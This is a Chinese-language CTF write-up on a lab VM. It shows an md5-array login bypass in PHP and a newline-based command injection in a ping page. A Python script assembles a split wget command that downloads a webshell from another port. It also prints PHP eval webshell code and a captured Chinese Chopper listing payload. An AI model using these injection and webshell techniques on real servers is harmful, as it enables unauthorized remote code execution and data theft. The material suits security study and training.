利用檔名進行GetShell---CTF題目的相關知識解析
0x00 環境
今天白老師扔給我了一個虛擬機器,裡面有4道CTF的相關網站,我檢視了一在/va/www目錄下主要有四個資料夾,對映到了8081-8084四個埠。還有一個struts的漏洞測試環境。
隨後找了一個看似比較簡單的題目嘗試一下,解題之前我比較好奇是如何對映的埠,過程不表。
8081-8084是通過apache伺服器進行的對映。配置檔案位於/etc/apache2/ports.conf,關鍵點在下圖中的四個listen
apache監聽後設置虛擬機器的虛擬埠,配置檔案可以從ports.conf檔案中獲取。
<VirtualHost *:8081>
ServerAdmin
設定之後便可以對埠應用進行訪問了。
0x01 登入繞過
回到CTF題目,直接訪問介面如下:
經過測試,應用只包含一個登陸介面。一頓測試後未果。經過百度查詢,發現原題是一個程式碼審計的題目,尷尬了,於是去後臺檢視程式碼
參考網站如下: http://www.moonsos.com/post/256.html 關鍵程式碼如下:
-
<?php
-
session_start();
-
error_reporting(0);
-
include("config.php");
-
header("Content-Type:text/html;charset=utf-8");
-
function d_addslashes($array){
-
foreach($array as $key=>$value){
-
if(!is_array($value)){
-
!get_magic_quotes_gpc()&&$value=addslashes($value);
-
$array[$key]=$value;
-
}else{
-
$array[$key]=d_addslashes($array[$key]);
-
}
-
}
-
return $array;
-
}
-
$_POST = d_addslashes($_POST);
-
$_GET = d_addslashes($_GET);
-
$username =isset($_POST['username'])?$_POST['username']:die();
-
$password = isset($_POST['password'])?md5($_POST['password']):die();
-
$sql="select password from users where username='$username'";
-
$result = $conn->query($sql);
-
$row = $result->fetch_assoc();
-
if($row[0] === $password){
-
$_SESSION['username']=$username;
-
$_SESSION['status']=1;
-
header("Location: index.php");
-
}else{
-
die("<script>alert('使用者名稱或密碼錯誤!!')</script>");
-
}
-
?>
d_addslashes 函式相當於全域性過濾,不存在注入漏洞、且資料庫與web都是UTF-8編碼,也不存在寬位元組注入。根據提示,在$row[0] === $password處存在邏輯漏洞。
輸入username為不存在使用者時,$result為null,從而row[0]為null。password經過md5()函式處理,當引數不為string時會返回null,因此。設定引數“password=1”為“password[]=1”使MD5引數由本來的字串變為陣列即可。便可以繞過驗證。
0x02 命令執行
驗證通過後會跳轉到一個展示頁面,通過檢視原始碼,會發現存在ping.php在註釋行當中,訪問後,來到頁面:
既然可以執行ping,那麼很可能會存在命令注入。
頁面對ip格式進行了正則匹配,最小長度輸入為1.1.1.1。後面加入分隔符;& |等,無法正常執行命令,經過測試會發現,程式對& ; | ) ( ` $進行了過濾。但是沒有對%0a進行過濾。嘗試進行命令注入如下1.1.1.1%0awhoami
嘗試寫入最短的shell <?=`$_GET(1)`; 但是寫入失敗,1.1.1.1%0aecho+"shell <?=`$_GET(1)`; ">1.php提示長度錯誤。分開寫的話還是無法成功。鼓搗了半天發現執行許可權和檔案許可權不一樣,(可以通過ls -la 和whoami判定)apache是www-data使用者,資料夾屬於ctf許可權。後來發現upload資料夾是775,正好兩個賬戶同屬於ctf使用者組。於是最小的命令為1.1.1.1%0aecho+"1">upload/1.php,顯然還是超了。
後來查詢資料,可以借鑑http://wonderkun.cc/index.html/?p=524的七個字元長度任意命令注入。總體思路是通過>xx建立空檔案,把wget命令分段寫入檔名中,再通過ls到bash指令碼中執行wget從而getshell
當前題目與其不同的地方是當前目錄無法寫入,長度限制在8-25之間,需要寫入js等子目錄。於是通過修改上述程式碼,進行自動化寫入:
-
# -*- coding UTF-8 -*-
-
import requests
-
def getshell():
-
uri = "http://192.168.1.101:8084/ping.php"
-
header = {
-
"Cookie": "PHPSESSID=6o7trs1airh18ea8s3u5npj626",
-
"Content-Type": "application/x-www-form-urlencoded"
-
}
-
download = ["1.php", "8083\ -O\ \\", "7.0.0.1:\\", "wget\ 12\\"]
-
proxy = {"http": "127.0.0.1:8080"}
-
for req in download:
-
base = "ip=1.1.1.1%0a>js\/"
-
data = base + req
-
requests.post(url=uri, data=data, headers=header, proxies=proxy)
-
sh = "ip=1.1.1.1%0als%20js%20-t>js\/1"
-
requests.post(url=uri, data=sh, headers=header, proxies=proxy)
-
download = "ip=1.1.1.1%0ash%20js\/1"
-
requests.post(url=uri, data=download, headers=header, proxies=proxy)
-
response = requests.get("http://192.168.1.108:8084/1.php")
-
if response.status_code == 200:
-
print("[*] getshell!!")
-
else:
-
print("[*] failed!")
-
if __name__ == "__main__":
-
getshell()
執行指令碼會得到一個1.php的webshell,使用菜刀進行連線。通過config.php獲取資料庫連線口令和賬戶,得到flag。
0x03 補充
中間遇到了很多問題,也get了一些知識點:
1、Linux檔名稱中不能包含/,所以在遠端伺服器下載木馬時無法使用wget xxxx/dir的形式,只能在訪問index的時候自動下載目錄。當前我能想到比較笨的方法是在index頁面中寫入如下程式碼:
-
<?php
-
echo("<?php @eval(\$_POST['as']);
-
?>
其中$需要進行轉義,否則無法正常列印
2、命令分隔如下:
wget 12\
7.0.0.1:\
8083 -O\
1.php
其中遇到一個大坑,引數應該是大寫字母O,即下載內容另存為此檔名。小寫的o代表過程資訊記錄到1.php中。
另外在解題過程中抓取了菜刀的報文,做個記錄
-
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);[email protected]($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while([email protected]($F)){$P=$D."/".$N;[email protected]("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t"[email protected]($P)."\t".$E."
-
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=/var/www/8084/assets/i/